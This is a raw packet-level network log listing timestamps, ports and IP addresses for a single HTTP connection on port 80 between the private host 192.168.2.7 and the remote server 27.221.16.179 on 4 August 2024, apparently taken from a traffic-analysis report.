Aug 4, 2024 10:57:37.418451071 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.418461084 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.418477058 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.418479919 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.418493986 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.418520927 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.419181108 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419198036 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419214010 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419230938 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419244051 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.419246912 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419264078 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.419265032 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419281960 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419286966 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.419300079 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419317961 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419334888 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419339895 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.419351101 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419367075 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419372082 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.419383049 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419385910 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.419399977 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419414997 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.419419050 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.419450045 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.420109987 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.420125961 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.420141935 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.420195103 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.422440052 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.422523022 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.424412966 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.427643061 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.967391968 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.967448950 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.967484951 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.967519999 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.967555046 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.967565060 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.967607021 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.967691898 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.967725992 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.967763901 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.967804909 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.967804909 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.967822075 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.967859030 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.967942953 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.967988014 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.968863010 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.968899012 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.968930960 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.968964100 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.968977928 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.968998909 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.969032049 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.969037056 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.969065905 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.969090939 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.969099998 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.969134092 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.969166040 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.969177961 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.969177961 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.969203949 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.969383001 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.970452070 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.970487118 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.970520973 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.970554113 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.970571041 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.970587015 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.970598936 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.970622063 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.970654964 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.970689058 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.970712900 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.970722914 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.970757961 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.970772982 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.970793962 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.970833063 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.972093105 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.972127914 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.972146988 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.972162008 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.972197056 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.972229958 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.972263098 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.972280979 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.972280979 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.972296953 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.972330093 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.972361088 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.972393990 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.972395897 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.972395897 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.972429991 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.972501040 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.974019051 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.974051952 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.974085093 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.974112988 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.974121094 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.974154949 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.974179983 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.974189043 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.974225044 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.974260092 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.974288940 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.974524021 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.975101948 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.975191116 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.975224018 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.975256920 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.975258112 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.975294113 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.975327015 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.975331068 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.975361109 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.975393057 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.975426912 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.975441933 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.975441933 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.975461006 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.975495100 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.975553989 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.976900101 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.976933956 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.976968050 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.976989985 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.977003098 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.977035999 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.977045059 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.977071047 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.977103949 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.977118969 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.977138042 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.977138996 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.977174044 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.977207899 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.977241039 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.977267027 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.977299929 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.978485107 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.978518009 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.978553057 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.978586912 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.978595972 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.978621960 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.978656054 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.978689909 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.978698015 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.978698969 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.978724957 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.978928089 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.979199886 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.979233980 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.979266882 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.979285002 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.980115891 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980150938 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980206013 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980207920 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.980241060 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980268002 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980283976 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980300903 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980305910 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.980305910 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.980317116 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980329037 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.980642080 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980654001 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980664968 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980676889 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980690002 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980700970 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980707884 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.980724096 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.980724096 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.980741978 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.980777025 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.981513023 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.981534958 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.981565952 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.981576920 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.981589079 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.981632948 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.981632948 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.981692076 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.981797934 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.982151985 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982243061 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982445955 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.982451916 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982465029 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982476950 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982489109 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982512951 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.982532024 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.982544899 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982613087 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982624054 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982634068 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982681990 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.982681990 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.982692957 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982707024 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982719898 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982738972 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982752085 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982764006 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982786894 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982786894 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.982786894 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.982800961 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982811928 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982825994 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982844114 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.982852936 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.982852936 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.982888937 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.983546972 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983560085 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983571053 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983582973 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983593941 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983603954 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.983606100 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983620882 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983643055 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.983670950 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983684063 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983695984 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983707905 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983720064 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983720064 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.983720064 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.983732939 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983747959 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983758926 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.983761072 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983777046 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983791113 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983803988 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983808041 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.983808041 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.983817101 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983830929 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983843088 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983854055 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983856916 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.983856916 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.983869076 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983881950 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983892918 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.983896017 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983911037 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.983931065 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.983932018 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.984225035 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984321117 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984333992 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984345913 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984357119 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984364033 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984400988 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.984400988 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.984520912 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984533072 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984544992 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984558105 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984569073 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984579086 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.984579086 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.984596968 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984610081 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984641075 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984651089 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.984651089 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.984709978 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984724045 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984735966 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.984769106 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.984834909 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.985923052 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.985954046 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.985965967 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986015081 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986049891 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986063004 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986078024 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986088991 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986093998 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986190081 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986223936 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986238956 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986251116 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986263037 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986294031 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986313105 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986371040 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986385107 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986397982 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986411095 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986423016 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986433983 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986437082 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986452103 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986469030 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986469984 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986483097 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986541986 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986577988 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986589909 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986623049 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986628056 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986711979 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986721992 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986733913 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986748934 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986763000 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986778021 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986813068 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:37.986852884 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986865997 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986877918 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:37.986891031 CEST	80	49755	27.221.16.179	192.168.2.7
